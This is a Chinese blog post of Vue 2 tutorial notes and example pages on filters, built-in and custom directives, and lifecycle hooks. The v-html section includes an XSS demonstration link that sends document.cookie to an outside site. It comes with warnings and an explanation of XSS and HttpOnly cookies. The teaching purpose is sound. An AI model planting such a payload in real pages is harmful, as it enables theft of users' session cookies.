  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>过滤器</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <script type="text/javascript" src="../js/dayjs.min.js"></script>
  9. <!--
  10. 过滤器
  11. 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
  12. 语法:
  13. 1.注册过滤器,Vue.filter(name,callback) 或 new Vue(filters:{})
  14. 2.使用过滤器,{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
  15. 备注:
  16. 1.过滤器也可以接受额外参数,多个过滤器也可以串联
  17. 2.并没有改变原本的数据,是产生新的对应的数据
  18. -->
  19. </head>
  20. <body>
  21. <div id="root">
  22. <h2>显示格式化后的时间</h2>
  23. <!-- 计算属性实现 -->
  24. <h3>现在是{{fmtTime}}</h3>
  25. <!-- methods实现 -->
  26. <h3>现在是{{getFmtTime()}}</h3>
  27. <!-- 过滤器实现 -->
  28. <h3>现在是{{time | timeFormater}}</h3>
  29. <!-- 过滤器实现(传参) -->
  30. <h3>现在是{{time | timeFormater('YYYY_MM_DD')}}</h3>
  31. <!-- 过滤器实现(多过滤器串联使用) -->
  32. <h3 :x="msg | mySlice">现在是{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
  33. <input type="text" v-model="msg | mySlice" />
  34. </div>
  35. <div id="root2">
  36. {{msg | mySlice}}
  37. </div>
  38. </body>
  39. <script>
  40. //全局过滤器
  41. Vue.filter('mySlice',function(value){
  42. return value.slice(0,4)
  43. })
  44. new Vue({
  45. el:'#root',
  46. data:{
  47. time:1621561377603 ,//时间戳
  48. msg:'你好,尚硅谷'
  49. },
  50. computed:{
  51. fmtTime(){
  52. return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
  53. }
  54. },
  55. methods:{
  56. getFmtTime(){
  57. return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
  58. }
  59. },
  60. filters:{
  61. timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
  62. //如果str有值,运行下列代码,如果str没有值,使用默认值
  63. console.log('@',value)
  64. return dayjs(value).format(str)
  65. },
  66. mySlice(value){
  67. return value.slice(0,4)
  68. }
  69. }
  70. })
  71. new Vue({
  72. el:'#root2',
  73. data:{
  74. msg:'lalalala',
  75. },
  76. filters:{
  77. mySlice(value){
  78. return value.slice(0,4)
  79. }
  80. }
  81. })
  82. </script>
  83. </html>

内置指令

内置指令(v-text指令)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>内置指令(v-text)</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. 我们学过的指令;
  10. v-bind : 单向绑定解析表达式,可简写为 :xxx
  11. v-model : 双向数据绑定
  12. v-for : 遍历数组/对象/字符串
  13. v-on : 绑定时间监听,可编写为@
  14. v-if : 条件渲染(动态控制节点是否存在)
  15. v-else : 条件渲染(动态控制节点是否存在)
  16. v-show : 条件渲染(动态控制节点是否展示)
  17. v-text指令:
  18. 1.作用:向其所在的节点中渲染文本内容
  19. 2.与插值语法的区别,v-text会替换掉节点中的内容,{{xx}}则不会
  20. -->
  21. </head>
  22. <body>
  23. <div id="root">
  24. <div>你好,{{name}}</div>
  25. <div v-text="name">你好</div>
  26. <div v-text="str"></div>
  27. <div>{{str}}</div>
  28. </div>
  29. </body>
  30. <script>
  31. new Vue({
  32. el:'#root',
  33. data:{
  34. name:'尚硅谷',
  35. str:'<h3>你好啊!</h3>'
  36. }
  37. })
  38. </script>
  39. </html>

内置指令(v-html指令)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>内置指令</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. v-html指令
  10. 1.作用:向指定节点中渲染包括HTML结构的内容
  11. 2.与插值语法的区别:
  12. (1) v-html会替换掉节点所有的内容,{{xx}}不会
  13. (2) v-html可以识别html结构
  14. 3.严重注意:v-html有安全性问题
  15. (1) 在网站上动态渲染任意html是非常危险的,容易导致XSS攻击
  16. (2)一定要在可信的内容上使用v-html,用不要用在用户提交的内容上
  17. -->
  18. </head>
  19. <body>
  20. <div id="root">
  21. <div>你好{{name}}</div>
  22. <div v-text="name"></div>
  23. <div v-text="str"></div>
  24. <div v-html="str"></div>
  25. <div v-html="str2"></div>
  26. </div>
  27. </body>
  28. <script>
  29. const vm = new Vue({
  30. el:'#root',
  31. data:{
  32. name:'尚硅谷',
  33. str:'<h3>你好啊</h3>',
  34. str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟,我找到你想要的资源了,快来!</a>'
  35. }
  36. })
  37. </script>
  38. </html>

 如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。XSS全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

内置指令(v-cloak指令)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>v-clock指令</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. v-clock指令(没有值)
  10. 1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉你v-clock属性
  11. 2.使用css配合v-clock可以解决网速慢时页面展示出{{xxx}}的问题
  12. -->
  13. <!-- Vue接管完删除v-clock,接管走CSS样式所以之前不显示{{xxx}},接管后会删除掉v-cloak -->
  14. <style>
  15. [v-cloak]{
  16. display:none;
  17. }
  18. </style>
  19. </head>
  20. <body>
  21. <div id="root">
  22. <h2 v-cloak>{{name}}</h2>
  23. </div>
  24. </body>
  25. <script>
  26. new Vue({
  27. el:'#root',
  28. data:{
  29. name:'尚硅谷'
  30. }
  31. })
  32. </script>
  33. </html>

内置指令(v-once指令)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>v-once指令</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. v-once指令
  10. 1.v-once所在节点在初次动态渲染后,就视为静态内容了
  11. 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
  12. -->
  13. </head>
  14. <body>
  15. <div id="root">
  16. <h2 v-once>初始化的n值是{{n}}</h2>
  17. <h2>当前的n值是{{n}}</h2>
  18. <button @click="n++">点我n+1</button>
  19. </div>
  20. </body>
  21. <script>
  22. new Vue({
  23. el:'#root',
  24. data:{
  25. n:1
  26. }
  27. })
  28. </script>
  29. </html>

内置指令(v-pre指令)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>v-pre指令</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. v-pre指令
  10. 1.跳过其所在节点的编译过程。
  11. 2.可利用它跳过哪些,没有使用指令语法,没有使用插值语法,会加快编译。
  12. -->
  13. </head>
  14. <body>
  15. <div id="root">
  16. <h2 v-pre>Vue其实很简单</h2>
  17. <h2>当前的n值是{{n}}</h2>
  18. <button @click="n++">点我n+1</button>
  19. </div>
  20. </body>
  21. <script>
  22. new Vue({
  23. el:'#root',
  24. data:{
  25. n:1
  26. }
  27. })
  28. </script>
  29. </html>

自定义指令

自定义指令-函数式

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>自定义指令-函数式</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
  10. 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
  11. -->
  12. </head>
  13. <body>
  14. <div id="root">
  15. <h2>{{name}}</h2><!-- 测试:big()并不是指令所用到的数据发生更新时才调用,而是指令所在的模板重新解析时会调用 -->
  16. <h2>当前的n值是:<span v-text="n"></span> </h2>
  17. <h2>放大十倍后的n值是:<span v-big="n"></span> </h2>
  18. <button @click="n++">点我n+1</button>
  19. </div>
  20. </body>
  21. <script>
  22. const vm = new Vue({
  23. el:'#root',
  24. data:{
  25. name:'yyh',
  26. n:1
  27. },
  28. directives:{
  29. //big函数何时被调用?
  30. //1.指令与元素成功绑定(仅仅是在内存上建立了联系)时(一上来)
  31. //2.指令所在的模板被重新调用时。
  32. // big:{ 第一种方法:可以处理细节上的东西
  33. // k:v,
  34. // k:v,
  35. // k:v
  36. // }
  37. big(element,binding){//第二种方法:简单
  38. console.log(element)
  39. console.log(binding)
  40. console.log('big')
  41. element.innerText = binding.value * 10
  42. }
  43. }
  44. })
  45. </script>
  46. </html>

自定义指令-对象式

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>自定义指令-对象式</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
  10. 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
  11. -->
  12. </head>
  13. <body>
  14. <div id="root">
  15. <h2>{{name}}</h2>
  16. <h2>当前的n值是:<span v-text="n"></span> </h2>
  17. <h2>放大十倍后的n值是:<span v-big="n"></span> </h2>
  18. <button @click="n++">点我n+1</button>
  19. <br/>
  20. <input type="text" v-fbind:value="n">
  21. </div>
  22. </body>
  23. <script>
  24. const vm = new Vue({
  25. el:'#root',
  26. data:{
  27. name:'yyh',
  28. n:1
  29. },
  30. directives:{
  31. big(element,binding){
  32. element.innerText = binding.value * 10
  33. },
  34. // fbind(element,binding){
  35. // //为什么第一遍没有获取焦点,点击按钮以后就可以获取焦点了
  36. // //因为第一遍当指令与元素绑定=>调用fbind函数的时候,页面中还没有input元素,无法获取焦点。
  37. // //当第二遍点击按钮时候,改变了n的值,重新解析以后,这时候页面上有了input元素,这样就可以获取焦点了
  38. // element.value = binding.value
  39. // element.focus()
  40. // }
  41. //big函数何时被调用?
  42. //1.指令与元素成功绑定(仅仅是在内存上建立了联系)时(一上来) === bind
  43. //2.指令所在的模板被重新调用时。 === update
  44. fbind:{
  45. //指令与元素成功绑定时(一上来)
  46. bind(element,binding){
  47. element.value = binding.value
  48. },
  49. //指令所在元素被插入页面时调用
  50. inserted(element,binding){
  51. element.focus()
  52. //获取焦点,获取父元素
  53. },
  54. //指令所在的模板被重新解析时调用
  55. update(element,binding){
  56. element.value = binding.value
  57. element.focus()
  58. }
  59. }
  60. }
  61. })
  62. </script>
  63. </html>

自定义指令-回顾一个DOM操作

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>自定义指令-demo</title>
  6. <style>
  7. .demo{
  8. background-color: orange;
  9. }
  10. </style>
  11. </head>
  12. <body>
  13. <button id="btn">点我创建一个输入框</button>
  14. <script>
  15. const btn = document.getElementById('btn')
  16. btn.onclick = ()=>{
  17. const input = document.createElement('input')//创建一个input元素
  18. input.className = 'demo'
  19. input.value = 99
  20. input.onclick = ()=>{(alert(1))}
  21. document.body.appendChild(input)//添加到body中
  22. input.focus()//为input绑定焦点
  23. input.parentElement.style.backgroundColor = 'skyblue'
  24. //这段代码document.body.appendChild(input)之前写
  25. }
  26. </script>
  27. </body>
  28. </html>

自定义指令-总结

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>自定义指令-总结</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. 自定义指令总结:
  10. 一:定义语法
  11. (1)局部指令:
  12. new Vue({ new Vue({
  13. directives:{指令名:配置对象} 或 directives(){}
  14. }) })
  15. (2)全局指令:
  16. Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
  17. 二:配置对象中常用的3个回调:
  18. (1) bind:指令与元素成功绑定时调用
  19. (2) inserted:指令所在元素被插入页面时掉用
  20. (3) update:指令所在模板结构被重新解析时调用
  21. 三:备注:
  22. 1. 指令定义时不加v-,但使用时要加v-
  23. 2. 指令名如果时多个单词,要使用kebab-case命名方式,不要用camelCase命名。
  24. -->
  25. </head>
  26. <body>
  27. <div id="root">
  28. <h2>{{name}}</h2>
  29. <h2>当前的n值是:<span v-text="n"></span> </h2>
  30. <h2>放大十倍后的n值是:<span v-big="n"></span> </h2>
  31. <h2>放大十倍后的x值是:<span v-big="n"></span> </h2>
  32. <!-- <h2>放大十倍后的n值是:<span v-big-number="n"></span> </h2> -->
  33. <button @click="n++">点我n+1</button>
  34. <br/>
  35. <input type="text" v-fbind:value="n">
  36. </div>
  37. <div id="root2">
  38. <input type="text" v-fbind:value="x">
  39. </div>
  40. </body>
  41. <script>
  42. Vue.directive('fbind',{
  43. bind(element,binding){
  44. element.value = binding.value
  45. },
  46. inserted(element,binding){
  47. element.focus()
  48. },
  49. update(element,binding){
  50. element.value = binding.value
  51. element.focus()
  52. }
  53. })
  54. const vm = new Vue({
  55. el:'#root',
  56. data:{
  57. name:'yyh',
  58. n:1
  59. },
  60. directives:{
  61. // 'big-number'(element,binding){
  62. // element.innerText = binding.value * 10
  63. // },
  64. big(element,binding){
  65. element.innerText = binding.value * 10
  66. console.log('big',this)//注意:此处的this是window
  67. },
  68. fbind:{
  69. bind(element,binding){
  70. element.value = binding.value
  71. },
  72. inserted(element,binding){
  73. element.focus()
  74. },
  75. update(element,binding){
  76. element.value = binding.value
  77. element.focus()
  78. }
  79. }
  80. }
  81. })
  82. new Vue({
  83. el:'#root2',
  84. data:{
  85. x:1
  86. }
  87. })
  88. </script>
  89. </html>

生命周期

引出生命周期

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>引出生命周期</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. 生命周期
  10. 1.又名:生命周期回调函数,生命周期函数,生命周期钩子。
  11. 2.是什么,Vue在关键时刻帮我们调用的一些特殊名称的函数。
  12. 3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
  13. 4.生命周期函数中的this指向是vm 或 组件实例对象。
  14. -->
  15. </head>
  16. <body>
  17. <div id="root">
  18. <h2 v-if="a">你好啊</h2>
  19. <!--
  20. {{change()}}
  21. 使用插值语法,一上来调用,又没有返回值,undifind还不会再页面上显示,定时器函数的功能还能正常使用,
  22. 定时器确实是开启了,但改变了data里的数据,Vue会重新解析模板,又继续开启定时器,会发生死循环。
  23. -->
  24. <!-- <h2 :style="{opacity: opacity};"> -->
  25. <h2 :style="{opacity}">
  26. <!-- 简写形式 -->
  27. 欢迎学习Vue
  28. </h2>
  29. </div>
  30. </body>
  31. <script>
  32. const vm = new Vue({
  33. el:'#root',
  34. data:{
  35. opacity:1,
  36. a:false
  37. },
  38. methods:{
  39. change(){
  40. setInterval(()=>{
  41. this.opacity -= 0.001
  42. if(vm.opacity <= 0)
  43. this.opacity = 1
  44. },10)
  45. },
  46. },
  47. //Vue完成模板解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
  48. mounted(){
  49. console.log('mounted')
  50. setInterval(()=>{
  51. this.opacity -= 0.001
  52. if(this.opacity <= 0)
  53. this.opacity = 1
  54. },10)
  55. }
  56. })
  57. // //通过外部的定时器实现(不推荐)
  58. // setInterval(()=>{
  59. // vm.opacity -= 0.001
  60. // if(vm.opacity <= 0)
  61. // vm.opacity = 1
  62. // },10)
  63. </script>
  64. </html>

分析生命周期

使用断点,证明beforeMount函数,所有对于DOM的操作,最终都不奏效

 证明,如果没有el,只有beforeCreate,create这两个函数被调用,使用了vm.$mount('root')可以让接下来的函数正常执行(让图里面的两个黄色三角走通了)

Vue官网对于$destroy()的解释

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>分析生命周期</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. </head>
  9. <body>
  10. <div id="root" >
  11. <h2 v-text="n"></h2>
  12. <h2>当前的n值是:{{n}}</h2>
  13. <button @click="add">点我n+1</button>
  14. <button @click="bye">点我销毁vm</button>
  15. </div>
  16. </body>
  17. <script>
  18. const vm = new Vue({
  19. el:'#root',
  20. // template:
  21. // `<div>
  22. // <h2>当前的n值是:{{n}}</h2>
  23. // <button @click="add">点我n+1</button>
  24. // </div>`,
  25. data:{
  26. n:1
  27. },
  28. methods:{
  29. add(){
  30. this.n++
  31. console.log('add')
  32. },
  33. bye(){
  34. console.log('bye')
  35. this.$destroy()
  36. }
  37. },
  38. watch:{
  39. n(){
  40. console.log('n变了')
  41. }
  42. },
  43. beforeCreate(){
  44. console.log('beforeCreate')
  45. // console.log(this)
  46. // debugger;
  47. },
  48. created(){
  49. console.log('created')
  50. console.log(this)
  51. },
  52. beforeMount(){
  53. console.log('beforeMount')
  54. console.log(this)
  55. },
  56. mounted(){
  57. console.log('mounted',this.$el instanceof HTMLElement)//验证一下真实DOM存在了$el里面
  58. console.log(this)
  59. // document.querySelector('h2').innerText = 123
  60. },
  61. beforeUpdate() {
  62. console.log('beforeUpdate')
  63. },
  64. updated() {
  65. console.log('update')
  66. this.n = 99
  67. },
  68. //可以访问到数据,可以调用方法,但不会在更新了
  69. beforeDestroy() {
  70. console.log('beforeDestroy')
  71. //console.log(this.n) // 验证一下销毁前还能不能取到vm中的n值
  72. this.add()
  73. },
  74. destroyed() {
  75. console.log('destroyed')
  76. }
  77. })
  78. </script>
  79. </html>

总结生命周期

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>总结声明周期</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <script>Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示</script>
  8. <!--
  9. 常用的声明周期钩子:
  10. 1.mounted:发送ajax请求,启动定时器,绑定自定义事件,订阅消息等(初始化操作)
  11. 2.beforeDestory:清楚定时器,解绑自定义文件,取消订阅消息等【收尾操作】
  12. 关于销毁Vue实例
  13. 1.销毁后借助Vue开发者工具看不到任何信息。
  14. 2.销毁后自定义事件会失效,但原生DOM事件依然有效(@click事件)。
  15. 3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
  16. -->
  17. </head>
  18. <body>
  19. <div id="root">
  20. <h2 :style="{opacity}">欢迎学习Vue</h2>
  21. <button @click="opacity=1">透明度设置为1</button>
  22. <button @click="stop">点我停止变换</button>
  23. </div>
  24. </body>
  25. <script>
  26. // 整个的流程
  27. // 点击停止变换以后,点击事件调用了stop函数,然后计时器被停止了,在$destory加入之前
  28. // 透明度设置为1还可以使用,加入之后,直接吧整个vm都给销毁了,所以透明度设置为1不能再使用了。
  29. // 发现计时器没有关,可以用clearInterval(this.timer)关闭,在stop或者beforeDestroy函数使用都可以
  30. //为什么要这么麻烦,为的是有一天vm没有了,被他人销毁了,计时器还能正常关闭。
  31. new Vue({
  32. el:'#root',
  33. data:{
  34. opacity:1
  35. },
  36. methods:{
  37. stop(){
  38. //clearInterval(this.timer) // 可以换到beforeDestroy函数中去做。
  39. this.$destroy()
  40. }
  41. },
  42. //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
  43. mounted(){
  44. console.log('mounted',this)
  45. this.timer = setInterval(() => {
  46. console.log('setInterval')
  47. this.opacity -= 0.01
  48. if(this.opacity <= 0) this.opacity = 1
  49. },16)
  50. },
  51. beforeDestroy() {
  52. console.log('vm要被干掉了')
  53. clearInterval(this.timer)
  54. }
  55. })
  56. </script>
  57. </html>

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/花生_TL007/article/detail/197685
推荐阅读
相关标签
  

闽ICP备14008679号